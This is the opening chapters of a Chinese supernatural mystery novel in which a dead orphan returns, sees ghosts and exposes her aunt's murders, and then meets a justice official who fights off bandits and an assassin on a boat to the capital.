《执灯行,引魂渡,侯夫人自地府来》
第1章 夜归
冬夜。
寒风簌簌,冷雨潇潇。
西泠县,穆府内,才输了牌钱的婢女春桃,正被迫前往偏院送饭,心中怨气,可谓比鬼还重。
她深一脚浅一脚,走在泥泞的路上,结果稍不留意,还是脏了脚下的新鞋。
“晦气!”
叫骂一声后,春桃犹不解气,更是肆无忌惮一脚踹开偏院正屋的房门,嚷道:“吃饭了!”
门开后,室内却是一点暖气都没有,向南窗半敞着,冷风嗖嗖往里灌,简直像个冰窖。
春桃不由得打了个寒颤。
她放眼望去,只见一盏油灯,将熄未熄,照不出方寸光亮,整个屋子看起来都有些鬼气森森。
像是…一点活人的气息都没有。
“夏小姐,该吃饭了…”
直觉有些不对劲,春桃气焰全消,声音也放软了些。
可回应她的,仍只是风声。
该不会…出事了吧?
念及此,春桃心里一慌,也顾不上害怕,快步走到床边,一把撩开破旧的纱帐。
然而,映入眼帘的,竟是一具早已僵透的尸体。
——
三日后。
暮色四合,大雪将至。
西街口,馄饨摊,张婶看了看天色后,便将最后一份馄饨倒入锅中。
沸水扑腾之间,热雾缭绕。
忽有一道单薄的身影,悄无声息出现在摊前。
张婶顿时被吓一跳,却也是好脾气,笑道:“哎呀姑娘,你走路怎么一点声响都没有?”
又掂了掂手中的漏勺,招呼道:“你来得倒是正巧,就剩最后一碗馄饨了,晚些可就没有啦。”
暮色中,身影又近前了一步,是一位约摸十六七岁且容貌清丽的年轻姑娘。
面对和善的摊主,那姑娘不动声色,一双眼睛黑白分明,眼底像浸着寒霜,冷得吓人。
张婶见她不搭腔,心下也起了猜疑,待定睛细看后,又吃了一惊。
眼下正是寒冬时节,对方竟只穿着一件单衣,同样单薄的裤子、鞋子上,还沾着许多污泥,也不知刚刚经历了什么。
斟酌间,姑娘却开口了。
“我没有钱,能否给我一口热汤?”
她说得直白,声音与面色一般清冷,并无半分求人之态。
张婶惯行善事,也不予计较,仍笑道:“罢了,不收你钱,这碗馄饨拿去吃。”
说话间,热气腾腾的馄饨已出了锅。
只是,姑娘仍立在摊前不动,眸光四下一掠,似有所思。
“进来坐着吃,这里暖和一些。”
见状,张婶连忙招呼一声,又特意将碗筷摆在靠近灶台边的桌子上。
摊贩是小本生意,平日挣得不多,为了节省本钱,只搭了一个简陋的草棚,抵挡四面寒风。
姑娘迟疑片刻,才挪步进了草棚,却不就坐,清冷的眸子,盯着角落一处,似是在打量什么。
张婶立即顺着她的视线望了过去,一时间也猜不透对方的心思。
可就在这时,姑娘又开口了。
“最近,家中可有人生病?”
闻言,张婶心头一跳,有些难以置信:“你…你怎么知道?”
姑娘骤然抬头,借着光亮,可见左边眼尾处还藏了一点浅红泪痣,像褪了色的朱砂。
她不说缘由,依然沉着冷静:“你只需回答我,是与不是。”
张婶被这么盯着,竟没来由后背一阵发凉。
一种难以言喻的压迫感,瞬间笼罩全身。
她嘴唇一抖,说了出来:“是,我…那可怜的女儿,已经病了大半个月了,期间,请了郎中,吃了许多药,都不见好转,也不知能不能…”
话未说完,那姑娘却端起桌上馄饨,径自朝角落里走去。
张婶看得一愣,泪水才到眼眶,又生生逼了回去。
只见姑娘缓缓蹲下身来,将碗筷摆放在地上,冷冷吐出几个字。
“吃完,上路去。”
这诡异的举动,让张婶看在眼里,三分疑虑也变作了七分惊惧。
角落空无一人,她难道…在跟鬼说话?!
静默片刻,张婶僵在原地不知所措,心里却砰砰直跳。
这时,一阵邪风拂过,竟将一旁桌面上的筷子卷落在地,发出清脆响声。
张婶再也抑制不住心中的恐惧,吓得惊叫了一声。
“姑…姑娘!”
角落里,年轻的姑娘依然镇定自如,一张清丽小脸,至始至终,竟未流露出半分异色。
她重新拾起地上碗筷,眼皮也不抬:“它说,谢谢你的馄饨。”
张婶又哪里知道这个“它”是谁,仍心有
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余悸:“姑娘到底在说什么?”
“一个小孩,大概一个月前,死在附近。”
短短几句,却让张婶瞬间毛骨悚然。
约摸半年前,每日黄昏,都会有个小乞丐在摊外徘徊,他看起来与自己女儿一般大,是个男孩。
张婶向来心善,总会在将要收摊之际,煮上一碗馄饨,让女儿悄悄送过去。
这样持续了好几个月,小乞丐突然生了病,出现的次数,也渐渐少了。
直到不久前,有人在后巷里,发现了他的尸体。
念及此,张婶心中五味杂陈,忍不住问:“姑娘是说,我家女儿的病,与这有关?”
年轻的姑娘端坐在桌前,没有立即回话,而是慢条斯理吃着碗里的馄饨。
她拿筷子的手,纤细白皙,像个从小养尊处优的闺阁小姐,却不知是遭遇了什么,才落得这般境地。
一共十二颗馄饨,她细细咀嚼,慢慢吞咽,末了,还将热汤一并饮尽。
丝毫不介意,这碗馄饨才作为祭品,送走了一缕阴魂。
“人死后,若有心愿未了,魂魄会滞留阳间,时日一长,形成怨气。”
“你女儿年幼,被怨气冲撞,难免要病一场。”
“现在已无大碍。”
姑娘轻拭嘴角,给出解释,说话时的神情语调,依然冷淡。
若这话从旁人口中说出,张婶是一个字也不会信。
可偏偏是这样的一个人…
夜幕已悄然降临,明月初升,清光满地。
随着一片薄雪飘落屋檐,紧跟其后,是一场如扯絮般飞扬的鹅毛大雪。
姑娘抬头看了一眼天色,忽站起身来,直接往外走去。
张婶见状,连忙拿起一旁的蓑衣递上前。
“姑娘,下雪了,你穿上这个,挡挡风寒。”
姑娘顿足,回头轻轻看了她一眼,却道:“多谢,吃你一碗馄饨,足够了。”
她说着,也不顾风雪肆意,依旧一身单薄,向着西街尽头走去。
——
西街深处,穆府门前。
门房被一阵短促的敲门声惊动,当即不情不愿来到门边,提声问:“谁在外面?”
风雪之中,一道身影立在门前,冷冷凝视门上铜环,片刻后,报出了三个字。
“夏熙墨。”
第2章 前尘
入夜,大雪。
穆府内苑,汀水暖阁。
婢女才往炉子里添了炭火,门外就响起了一声通报。
“夫人!”
穆家主母范氏正守着长女穆汀汀做绣工,闻声,眼角莫名跳了一下。
“什么事?”
下人迟疑着,才期期艾艾回道:“是前院…出事了,周管家说,请您亲自过去一趟。”
一旁的穆汀汀也跟着放下手中绣架,不悦皱眉。
“都这个时辰了,什么事还需要夫人亲自过去?”
下人忽然腿脚一软,跪在地上,颤声回道:“是…是夏小姐!她回来了!”
闻言,范氏后背一僵,脸色瞬间煞白。
——
穆府正厅,大门紧闭。
厅外游廊上,却站满了交头接耳窃窃私语的下人。
“春桃,我记得当日是你去送的饭,你确定自己看清楚了?”
“这人都**,怎么可能复生呢?”
“门房说,她身上还沾着城外的黑泥,倒像是…刚从土里爬出来的!”
“这世上该不会真的有鬼魂吧?”
“春桃…你说句话呀!是不是吓傻了?”
“别问她了,我听说,尸体是周管家带人悄悄去下葬的,这事估计只有他才最——”
“咳!”
随着主母范氏来到,众人立即退散两旁,不敢再言。
“周管家呢?”
“夫人,周管家他…还在里面,没有出来过。”
范氏顿了顿,似乎欲言又止。
片刻后,她将腕上佛珠摘下,持在手中,望着厚重的厅门,这才吩咐道:“都散了,没有我的允许,谁也不准进来。”
厅内,高烛映照,一名女子端坐其中,面容模糊,形影单薄。
听到声响,她却头也不抬,眼睛始终冷冷盯着一处。
而顺着她的视线望过去,向来稳重老成的周管家竟匍匐在地,瑟瑟发抖。
“有鬼…”
“夫人,这世上真的有鬼啊!”
“她…她…回来了!”
在见到范氏身影的那刻,他几乎手脚并用,跌跌撞撞爬到跟前,混乱的言语之中,全是惊慌。
范氏眉头深陷,本要斥责一句。
然而,当她看清厅中女子的面容时,浑身的血液,也跟着凉了一半。
“熙墨…”
烛光映照之下,那女子脸色苍白,眉目冷冽,眼尾处一点嫣红,不显风流,自成风骨。
她虽只穿着一件月白色单衣,半身泥污,但脚下那双绣着缠枝莲花的缎鞋,却再熟悉不过。
仅只一眼,做贼心虚的范氏不由得后退了几步。
“这怎么可能?你不是已经…”
“不,你根本不是夏熙墨。”
“你到底是谁?”
她强作镇定,抚了抚胸口,惊恐之余,又多了几分猜疑。
而面对一连串苍白无力的质疑声,夏熙墨根本无动于衷,她仍静**在那里,没有言语。
可越是如此,范氏就越是心慌不定。
她从来不信鬼神,更不相信**能复生。
可眼前之事,又该如何解释?
一个连尸体都僵透的人,怎么会突然活过来?
沉默间,烛火扑朔,诡谲迷离。
夏熙墨终于开了口,声音幽冷,不似人间客。
“我父亲是名震天下的护国大将军夏青,我母亲姓穆,是大亓第一女画师,也曾是这府上唯一的嫡长女…”
“我的名字——熙墨,是外祖赐名,意为‘惜墨’。”
“你问我是谁?那我便从六年前开始,一一与你说清楚。”
她语调冰冷,仿佛在陈述一件与己无关的事。
范氏却止不住浑身颤抖起来。
六年前,护国大将军夏青以身殉国,妻子穆氏亦殉夫而去,留下十岁孤女夏熙墨,被舅父穆铮收留,寄养府上。
夏家孤女体弱多病,患有不足之症,每日需以昂贵药材喂养身体,花销极大。
若非,她自小与开国功侯之一的仁宣侯长子结了姻亲,受侯府照拂,不然,以那时穆府家境,根本无力支撑。
穆家祖上曾出过不少风流雅士,可惜子嗣单薄,传到这一代,男丁仅剩穆铮一人。
而穆铮心无城府,碌碌半生,只在朝廷做了八品散官。
他经仁宣侯举荐,被圣上破格提拔为中书侍郎,上京任了职,此后也算是平步青云。
穆家因侯府而兴,可夏熙墨的命运,却也因此发生了转折。
四年前,仁宣侯夫人南下,途径
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西泠县时,念及夏将军遗孤,想来亲自看一眼。
只是当日,夏熙墨染了风寒,正卧床不起。
范氏不愿错过良机,心生一计,竟让自己同岁的女儿穆汀汀顶替表妹,面见了侯夫人。
此后,夏熙墨在穆家的地位算是一落千丈,被范氏一句“潜心静养不见外客”为由,打入偏院,生死不顾。
这一把算盘,原是要打到穆汀汀以夏熙墨之名嫁入侯府,方得圆满。
可惜,半路还是出了岔子。
三天前,夏熙墨被冻死在偏院,婢女发现时,尸体都已经僵了。
范氏连夜遣人将尸体偷偷下了葬,原以为,这样就能瞒天过海,后顾无忧。
谁曾想,死去的人,竟自己回来了。
听着夏熙墨漠然细数一件件往事,如同阴司判官,无情唱着判词。
范氏浑身冰冷,抑制不住心中恐惧,颓然跌坐在一旁的椅子上。
她拨动手中佛珠,痛苦地闭了闭眼,像是做着什么挣扎。
“熙墨…确实是舅母对不住你。”
“可事已至此,我只能是…将错就错了。”
话说得意味不明,虽满脸愧疚之色,眼底却明明灭灭,藏着杀机。
“若是让…仁宣侯夫人知晓,当年我们穆家欺骗了她,后果必然不堪设想。”
“你也是福薄,年幼失去双亲,身子又不好,就算嫁入侯府,能有什么好前程呢?”
“倒不如——成全了你姐姐。”
话音落下时,只见范氏猛然起身,右手赫然执着一件玉石摆件,险险就要朝夏熙墨砸去…
这时,却有一阵阴风平地而起,竟当场将她掀翻在地。
玉石摔落,碎成两半。
周管家大呼一声,吓得立即钻进桌底,抖得如同筛子。
范氏愣在地上,见那团阴风仍在身侧盘旋,不由得立即惊叫了一声。
唯有夏熙墨,漠然站起身来,居高临下,冷眼相望。
她单薄的身影,倒映在地上,却自带威不可侵的迫力。
“知道什么叫‘阴魂不散’吗?”
范氏面如土色,只觉得喉头一紧,根本发不出声音。
夏熙墨则继续问道:“那可记得,自己身上还背负了三条人命?”
第3章 凶手
面对夏熙墨的质问,范氏面白如纸,嘴唇翕动,却驳不出半句话来。
她呆呆望着面前的孤女,心底只剩下了慌张与恐惧。
“你…你不是夏熙墨,你究竟…是人是鬼?”
昔日的夏熙墨,是个任人欺辱,软弱无能的病秧子。
她如何能知道这些?
又如何能说出这样一番话?
窗外,风雪肆意,夜还很长。
夏熙墨立在范氏跟前,平湖一般的眼底,却不起一丝波澜。
她声音依旧冷冽,却回了一句毫不相干的话。
“当年,穆临是你推下水的。”
沉寂多年的名字,乍然被提及,连一旁的周管家都忍不住一惊。
范氏如遭雷击,嘴唇一抖:“你…胡说什么?”
七年前,穆铮唯一的儿子穆临,因贪玩失足落水,淹死在后花园的池塘里。
其生母——侧夫人刘氏,因此大病一场,之后就变得疯疯癫癫。
这看似是一场意外,却只有她才知晓,当晚在穆府后花园,究竟发生了什么。
夏熙墨眼睛盯着一处,如临其境一般,接着说道:“当晚,穆临完成功课,去后花园折了一枝玉兰,打算带回去给刘氏。”
“那时,你恰好独自在园中散步,穆临不喜你,虽远远看到,却不想过来行礼。”
“于是,你喊住了他。”
那晚,六岁大的孩童,将白玉兰背在身后,不情不愿走了过来。
范氏蹙眉不悦,问道:“见到我,为何要躲?”
穆临只能规矩行了一礼,又小声解释:“我…我并未看见夫人。”
他是侧室所出,却一直不愿称主母范氏为母亲,穆铮纵容他,竟还反过来劝慰妻子大度。
念及此事,范氏心中更是升起了无名之火,当即冷着脸斥道:“穆临,你怎小小年纪就学会了撒谎?信不信我把此事告诉你父亲?”
穆临当然知道父亲疼他,心中并不当一回事,眼底甚至闪过一丝不屑。
范氏望着那双酷似刘氏的眉眼,心里徒然生起妒意,当即逼问道:“你手上藏了什么?拿来给我!”
穆临见状,连连后退了几步,驳道:“这个是给我母亲的!”
这一句,彻底将范氏激怒。
她走上前,本想直接夺走穆临手中的玉兰解气。
然而,小小孩童也倔强起来,护着手中花,如何也不肯松开。
两人僵持间,竟未察觉到一旁的深水池塘。
直到,一声扑通,水花四溅,玉兰花瓣散落在地…
回想起那一幕,范氏只觉得心口处的那块巨石,再次压了过来。
惊惧之意,溢满眼眶。
她望着夏熙墨,心底的恐惧,忽变作了绝望。
“不…我没有推他,是他…是他自己掉下去的,你休想诬蔑我!”
当晚的后花园内,并无任何外人在场。
穆临落水后,挣扎呼救许久,渐渐没了声息。
直到翌日清晨,尸体浮出水面,才被下人找到。
范氏作为主母,当即严惩了负责照看穆临的婢仆,并一一发落了出去。
此事成了穆府的禁忌,无人敢再提及。
而七年前,夏熙墨根本还未入住穆府,她究竟从何得知其中细节,还如同亲眼所见…
阴风拂过,烛火摇曳,一地碎影。
范氏顿觉一股寒意蔓延周身,下意识握紧手中佛珠。
“**,可不会诬蔑你。”
夏熙墨走到灯旁,拿着烛剪,剔了剔烛心,继而说道:“你做贼心虚,填了池塘,本想做成玉兰花圃,以慰亡魂,可惜,种一株,死一株。”
“毕竟,冤死之人,怨气最重,这些年来,你不可能感受不到。”
范氏咬住下唇,颤抖的手指一点点拨动佛珠,却说不出话来。
其实这些年来,她一直梦魇缠身。
一个重复的梦境里,后花园的玉兰花圃,总会变成昔日的池塘。
穆临浑身是水,站在岸边,手拿一株白玉兰,幽幽喊着母亲。
而最诡异的是,醒来之后,房中总会浮荡着浓厚的玉兰香气。
即使,不是花开之季。
想到这些,范氏忍不住闭眼,开始在口中诵念佛经。
唯有感受那一粒粒佛珠滚过指尖,方能求得一丝心安。
然而,珠绳却在此时无故断裂,佛珠撒了满地。
范氏惊慌失措,如同失去最后一根救命稻草,再也顾不得什么主母身份,趴在地上,捡拾佛珠。
夏熙墨冷眼望着一颗佛珠滚到脚边,再次开了口。
“别急,还有一缕亡魂,等着与你对质。”
范氏愕然抬头。
面前的
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少女,明明那么羸弱不堪,可那双黑白幽深的眼睛,却能震慑人心。
“鬼!”
她哆嗦了一下,终于意识到自己需要离开这里。
“来人!来人啊!”
范氏一边竭力呼喊,一边挣扎着往外爬,可盘旋在身侧的那团阴风,犹如一双双鬼手,绊着她的腿脚,不让离去。
只是,任她如何嘶喊,门外竟也无人回应。
她一生久居深宅,何曾见过这样怪异的场面,吓得濒临崩溃,再也支撑不住,跪在了夏熙墨的脚边,哭喊了起来。
“求求你熙墨,我真的错了,求求你放过我。”
“是我鬼迷心窍,才做了这样的事情。”
“我究竟要怎么做,你才肯放过我?”
向来端庄守礼的主母,此时竟如同市井疯妇,不停磕头求饶,毫无尊严。
对此,夏熙墨依然眉目不惊。
她只是冷冷说道:“四年前,我的婢女莺儿,失踪了,你说,她背弃了我,偷偷跑出府去了。”
范氏后背一僵,立即止住了哭喊,却是怔忡不能言。
春莺儿自小与夏熙墨一同长大,将军府散后,只有她,还愿意跟随旧主。
她为人忠诚良善,即使在穆府,眼里也只认夏熙墨这一个主子。
四年前,春莺儿得知范氏李代桃僵,欺瞒了侯夫人,心中不平,想要为自家小姐讨回公道。
范氏视其为绊脚石,命人在饭菜里投了哑毒。
而春莺儿性情刚烈,即使口不能言,也在府上大闹了一场。
当晚,范氏喊了三五个护院,将她绑了起来,拖进后院柴房内。
“我念你是将军府的旧人,才留你一条贱命,若再不安分,可别怪我!”
她亲自出面告诫,本以为能震慑住对方。
春莺儿不肯服软,当场就啐了她一口,眼里全是憎恶之色。
范氏一怒之下,便朝身旁使了眼色,几名护院立即会意,对着小小弱女,一顿拳打脚踢。
春莺儿很快就没了声息…
夏熙墨声音冰冷,再次打破沉寂。
“但我知道,她早就**,是被人活活打死的,尸体就扔在后院的枯井里。”
“我说得对不对?”
“穆夫人?”
在她的注视之下,范氏僵直的后背,彻底软塌了下来。
第4章 沉冤
中夜,雪霁,天地一色。
穆府正厅外,穆汀汀正皱着眉头,望着紧闭的厅门,一脸忧色。
三日前,偏院传来夏熙墨的死讯,范氏选择秘而不宣,但她还是从中听到了一点风声。
对于这个表妹,穆汀汀心里是愧疚的。
可母亲说,既选择了一条不归路,自己就没有回头的余地。
夏熙墨**,仁宣侯府的门,她不进也得进。
只是现在,事情却变得有些复杂。
死去的人,怎么会突然回来呢?
沉思间,大门忽然从里面开了一条缝隙。
守在门口的下人皆是一愣。
片刻后,率先走出来的,却是一道单薄瘦弱的身影。
“熙墨…”
穆汀汀呼吸一滞,只觉得一股寒意,直往五脏六腑里钻。
面对一众诧异的目光,夏熙墨苍白的脸上,依然没有一点感情。
而在她身后,周管家正搀扶着惊吓过度的范氏,慢悠悠从里面走出来。
较之前者,这两人却是神情木讷,面如土色,显然情况不妙。
“母亲。”
穆汀汀忍着害怕,快步上前,连忙向范氏询问道:“您这是怎么了?发生什么事了?”
听到女儿的声音,范氏呆滞的眸色,才恢复了一丝光亮。
她一把握住穆汀汀的手,却焦急说道:“汀汀,你现在带人去后院,去井里…去井里把春莺儿的尸体挖出来。”
穆汀汀脸色顿变:“母亲,您…您在说什么呀?”
范氏并不解释,仍催促道:“不要问,快去做…”
穆汀汀向来唯母命是从,虽不知内情,却不敢犹豫,当即喊来几个下人,一同赶往后院。
不到一个时辰,后院枯井旁,便多了一具森森白骨。
人命关天,这让穆汀汀更加不知所措。
而范氏在看到人骨的那刻,便双膝一软,跪在地上,满脸忏悔之意。
“是我对不住你,是我错了!是我该死!”
“来世——我给你做牛做马!”
“求你原谅我!”
向来雍容大度的主母,此时竟张口说出这样一番话来,众人惊愕不已。
穆汀汀只觉得天都塌了,上前想要搀扶她。
“母亲,您到底在说什么?这…跟您有什么关系?”
范氏涕泪交接,却望着夏熙墨的方向,颤抖着双唇,缓缓说道:“她是春莺儿,是我…喊人打**她…”
听到这个名字,穆汀汀心中总算明白了七八分。
她顺着视线望过去,却与一双寒眸对视,当即噎住,不敢再言。
夏熙墨收回视线,看了一眼天色,在一双双眼睛的注视之下,走到白骨旁,伸出食指,轻轻点在尸骨眉心处。
“既得沉冤,就此上路吧。”
她话音刚落,那白骨竟瞬间化作齑粉,消融在皑皑白雪之中。
见到这幕,穆府众人皆一脸惊恐,不由自主后退了几步,望向夏熙墨的眼神,明显多了几分惧意。
范氏正吓得六神无主,却见夏熙墨转过头来,冷冷吩咐道:“我说的要求,你清楚记着了,**偿命,黄泉路上,也好相见。”
说罢,她也不管对方应答与否,便如这夜间的风雪一般,悄然而来,无声离去。
——
不过一夜光景,穆家便发生了天翻地覆的变化。
天将拂晓时,一群衙役快速穿过西街,很快便将穆府门外围堵了起来。
领头捕快抱着手臂打了个哈欠,提声问:“是哪位报的案啊?”
只见一名披头散发的妇人,慢悠悠从里面走了出来,哑声道:“大人,是我。”
那捕头是个明眼人,一下子就认出了对方的身份,可谓大吃一惊,
“穆…夫人?您这是?”
妇人幽幽抬头,吐出了四个字:“我杀了人。”
说罢,便将一纸认罪书呈了上去。
当天,穆家主母范氏锒铛入狱,并在当晚自缢身亡,霎时间,惊动了整个西泠县。
只是,因何入狱,犯了什么罪,衙门却是一点消息也不肯透露。
三日后,身在京中任职的穆铮,收到了女儿代笔寄来的家书。
长达几页的信纸读完,他浑身冰凉,心中竟不知作何感想。
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一夜辗转反侧,想了许多应对之策。
天还未亮,穆铮唤来心腹,思忖再三,却吩咐道:“务必尽快找到熙墨,带她来京中见我。”
与此同时,在一艘通往京都的商船上,一名裹着粗布麻衣的年轻女子,正靠在堆满酒坛子的船舱内。
她双目紧闭,面容苍白,随着船身晃动,竟慢慢瘫软在地,失去了知觉。
这时,船舱外却传来一阵骚动。
有人吼道:“都趴下!识相的,就将身上的财物交出来,否则,休怪刀剑无眼!”
原来,竟是打家劫舍的船匪,乔装混了进来,想要趁机勒索一笔。
这艘商船从西泠县出发,本只用作运送上京的货物。
因水路便利,沿途州县往来密切,逐渐也作载客营生。
此时,船到河心处,四面皆是水,可谓孤立无援。
随着几名**亮出刀刃,船上顿时一片惊慌,谁也不敢轻举妄动。
惜命之人,更是早早将随身钱财双手奉上,生怕触怒了对方。
**见状,正待一一搜刮。
忽听见“嗖”地一声轻响,竟不知从哪儿飞来一支筷子,从他脸颊边擦过,正中身旁的船梁。
这一击,虽未伤到人,却声势十足。
可见是个高手。
借着朦胧天光,**循着视线抬头望了过去,只见二楼船阁内,坐着两名男子。
其中一人,白袍翩翩,面冠如玉,姿态潇洒,手里正拿着一支筷子把玩,看着颇为放浪不羁。
另一人,身披玄色大氅,生得清秀俊逸,虽年岁不大,但气度沉稳,自带贵气,显然出身不凡。
这二人,似乎并不把底下的危机放在眼里,神色之间,淡定自若,毫无惧意。
领头**蓦地一噎,直觉不妙。
只听那白衣男子悠然说道:“眼见就要入京了,怎么还赶上这样的事情?”
玄衣男子没接话,自顾自倒了一杯茶水,轻轻饮下。
见状,白衣男子懒洋洋抱着手臂,回头挑了一下眉,又问:“任大人,您说这点小事,咱们还要不要管?”
第5章 擒贼
为密查工部尚书畏罪**之案,刑部侍郎任风玦同大理寺少卿余琅微服南下,已半月有余。
三天前,京中急召,两人不得不连夜回京。
迫于形势紧急,余琅找来当地官员,安排了一条最早入京的商船。
怎料,未到京城,船上倒发生了变故。
小小船匪,又如何预料得到,这毫不起眼的破船上,竟还藏了两个大人物。
余琅问完话后,依然没有得到任风玦的回应,心下甚是无趣。
于是一个翻身,顺着窗户跳了下来,又倚着船栏,笑道:“任大人不管,我可忍不住,半个多月没打架,实在闷得很。”
他话说得慵懒随意,出手却是毫不拖泥带水,一个疾步上前,空手就朝那匪首探了出去。
匪首一眼就看出对方是个练家子,自知不敌,哪敢硬碰硬?
当下虚劈一刀,闪到一旁,喝道:“你是什么人?休要多管闲事!”
余琅虚眯了一下眼睛,回道:“大理寺…确实管不着这种小事,但遇到我,算你倒霉吧。”
听到“大理寺”三个字,匪首脸色顿变,心下更是瘆得慌。
但走到这个份上,岂有回头的道理,当即喝道:“一起上!”
五六名船匪听罢,当即一咬牙,挥着手中刀刃,便砍了上去。
船上顿时乱作一团。
余琅身无长物,面对众人**,却也好似如鱼得水,游刃有余。
一番打斗下来,竟还让他占了上风。
匪首见形势不妙,也不愿束手就擒,目光一扫,从一旁妇人手里抢来襁褓之中的婴孩。
“别动!”
他站在船边,将孩子举在半空中,大声威胁:“再动…我就把这孩子扔下水去!”
妇人惊恐不已,孩子也被吓得啼哭不停。
余琅脸色微变,心想,自己不识水性,而此处河流湍急,就算能以寡敌众,但孩子若落了水,却很是难办了。
僵持间,他后退了一步,难得板起了脸,肃然道:“反正你也在劫难逃,要是再加上这孩子的性命,可就罪加一等了。”
匪首冷笑一声:“亡命之徒,哪在乎多一条罪名,今日不放过我,我死也要拉几个垫背的。”
余琅有些头疼,转头朝二楼船阁悠然喝茶的玄衣男子说道:“任大人,这下你说怎么办?”
任风玦侧头看了一眼天色。
眼下正是朝阳初升,天还未亮透。
他虚眯了一下狭长的眼睛,总算开了口:“要不了半个时辰,该到京都了,岸上接应的人,这会儿也该到了吧?”
这话说得意味不明,但匪首却心下一凛。
余琅微微皱眉,心下狐疑,他俩出京的时候,刑部和大理寺压根儿没人知道,如今也是秘密回京,谁消息这么灵通?
而后,只见任风玦站起身来,顺着一旁的木梯,缓缓拾阶而下。
他身形颀长,容颜俊美,淡淡的晨辉映照在玄底银边的氅衣上,愈发衬得他通身气度,矜贵不凡。
匪首呆望半晌,直觉此人才是真不好对付。
任风玦如闲庭信步,边走边道:“若杀了这孩子,我不会立即定你的罪,刑部的牢狱刑罚,想必你有所耳闻,却不曾体会。”
“反正靠岸前,谁也下不了船,届时入京城,直接同我去一趟刑部衙门。”
“如何?”
他声色朗朗,语调轻缓,一字一句听在耳里,倒是清越盈耳。
可话里内容,细品之下,却令人不寒而栗。
匪首颤声驳道:“别以为这样就能唬到我,你以为你是谁?!”
想到刑部大牢,他莫名没了底气。
转念间,又联想到什么,顿时腿脚一软,差点没跪在地上…
“你是…任…”
刑部侍郎任风玦,乃仁宣侯独子,幼时常随武将出入军营,智勇双全。
他十八岁入刑部,不过两年时间,就破例晋升为刑部侍郎,官居正三品。
堪堪双十年华,已是朝廷重臣,御前红人。
一年前,因尚书告病,任风玦代管刑部,短短数月,便联合大理寺与督察院,破了三宗陈年悬案。
一时之间,名动天下。
圣上
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惜才,许下专权,凡由任风玦接手的案件,享三法司独断之权,可上达天听。
至此,朝堂百官,敬而远之,贼寇匪盗,闻风丧胆。
听说近来,还得了一个“活阎罗”的称号。
匪首便是做梦也想不到,自己居然误打误撞,遇到这样的狠角色。
他扑通一声,弃了手中刀刃,跪在地上。
“任大人饶命!小的们实在是走投无路,才…不得不干起这种勾当!”
“小的自忖…手上从未沾过活人鲜血,身上也从未背过人命。”
“还请大人从轻发落啊!”
形势转变得太快,余琅都有些咂舌。
不愧是任大人,根本用不着出手。
相衬之下,他这个大理寺少卿也未免太没面子…
只见任风玦缓缓走近,匪首为表诚心,也是连忙用双手将哭闹的孩子递了过去。
可就在这时,一道利器破空之声,迅即而来。
余琅眼尖:“任大人小心!”
任风玦耳根子一动,反应极快,接过孩子后,连忙闪身避让,却听得身旁一声闷哼。
原本跪在地上的匪首,竟让一支箭矢正中眉心,当场毙命。
“啊?!”
四下又是一阵恐慌。
余琅目光一凛,只见一道黑影没入船舱处,转瞬不见。
他握紧腰刀,恼道:“我就说这一路上怎么觉得怪怪的,原来是有眼睛跟着!”
正要追上去时,却被喊住。
“敌明我暗,你先留下,多多留心,照看好船上的人。”
任风玦已将手中孩子归还给母亲,转头望向倒在血泊之中的船匪,不禁蹙眉。
明面上,他在朝中虽未树敌,可背底下想要置他于死地的人却不少。
只是,这次出京,是圣上口头旨意,朝中并无人知晓,也不知是谁走露了风声。
任风玦快步走到船舱处,环顾四周,确定再无出路,便推开了厚重的舱门。
然而,扑面而来的,却是一阵醇厚的酒气。
他定睛一看,神情也在这刻,发生了微妙的变化。
第6章 行刺
幽闭的船舱内堆满了货物。
随着舱门被打开,朝阳映照,微尘四起。
察觉有人靠近,夏熙墨本想睁开眼睛,可身体乏重,不受控制,尝试了一下,竟连眼皮也抬不起来。
漂浮的魂识,虽慢慢归了位,无奈这具身子阳气缺失,魂火不定,魂魄一时也难以附体。
可随着脚步声越来越近,竟携带了一股纯阳之气。
不安分的魂魄受到滋养,四肢百骸竟也感受到了一丝暖意,总算暂时安定了下来。
夏熙墨费力睁开眼,却发现身侧立了一道修长的身影。
那人的面容,在逆光之中,看不明晰,但一身清正之气,竟让角落里的游魂都自觉遁了形。
他…是什么人?
……
任风玦也不料自己会看到这样一副景象。
在浮荡着浓郁酒气的船舱里,一个身披粗布麻衣的女子,正躺在一堆酒坛子中间。
也不知夜里究竟喝了多少酒,此时整个人依然醉意熏熏,对于周遭险境是恍然不察。
他略一迟疑,暗处的刺客已有所行动。
只闻一旁货架猛然震动起来,眼见就要坍塌,情急之下,他只能伸手将那女子从地上拉起来。
不过稍稍用力,轻轻一带,那瘦弱的身躯,竟轻飘飘跌入了怀中。
任风玦微愣,才发现这人当真醉得不轻,浑身上下软绵无力,须得自己扶着,才能使她不摔倒。
货架倒在地上,砸碎了酒坛,发出沉闷声响,竟也未能惊动她分毫。
这女子!
任风玦皱眉,余光一扫,已窥见那黑衣刺客躲到另一列货架之后。
“这船舱只有这么大,你还要躲藏到什么时候?”
他一边说着,一边想将那女子放回地上。
可突如其来地一双手,竟扶上了他的腰。
接着,那女子竟将半个身躯都藏进自己的氅衣之下,隔着几重衣衫,与他紧紧相贴。
“……”
任大人那**处变不惊的脸,此时也多了几分好看的颜色。
失神间,刺客却窥准了时机,纵身一跃,持一把短剑,朝二人的方向袭来。
见状,任风玦只能顺势揽住怀中女子,连连后退,一路闪避。
舱内杂物众多,并不好施展身手。
刺客蓄力一连刺出数剑,直将二人逼到角落,避无再避。
任风玦敛了敛气,算着对方下一次出手的时机,连忙将怀中“累赘”拉至一旁,猛然抬腿一扫。
这一击,不失准头,力道刚好。
刺客只得弃去手中短剑,一个利落翻身,与二人拉开了距离。
蓦地,他又抬起手,闻见机括轻响,六支梅花袖箭,一触即发。
任风玦吃了一惊,念及自己与醉酒女子的处境,不及细想,只能振臂荡开氅衣,将对方拉入怀中。
箭矢擦过震开的衣袍,或被挡落,或被打偏,但还是有一支击中了他的肩头。
刺客窃喜,一个翻滚拾起地上短剑,正要乘胜追击。
然而,却在抬手那刻,任风玦怀中的女子抬起了头。
一双清冷幽深的眼睛望了过来…
霎那间,难以言喻的压迫感从头顶袭来,手脚莫名僵住,身体竟定在了原地。
任风玦看在眼里,一脚踢落对方手中剑,不过三两招数,身手干脆利索,迅速将其反制。
“任大人!”
门外,余琅焦急候了片刻,终是按捺不住,闯了进来。
他一眼就看到任风玦肩头负伤,吓得声量又提高了几分。
“任大人,你…受伤了?!”
经他提醒,任风玦才低头看了一眼伤口,却淡然道:“无碍,暗器上没有喂毒,只是皮外伤。”
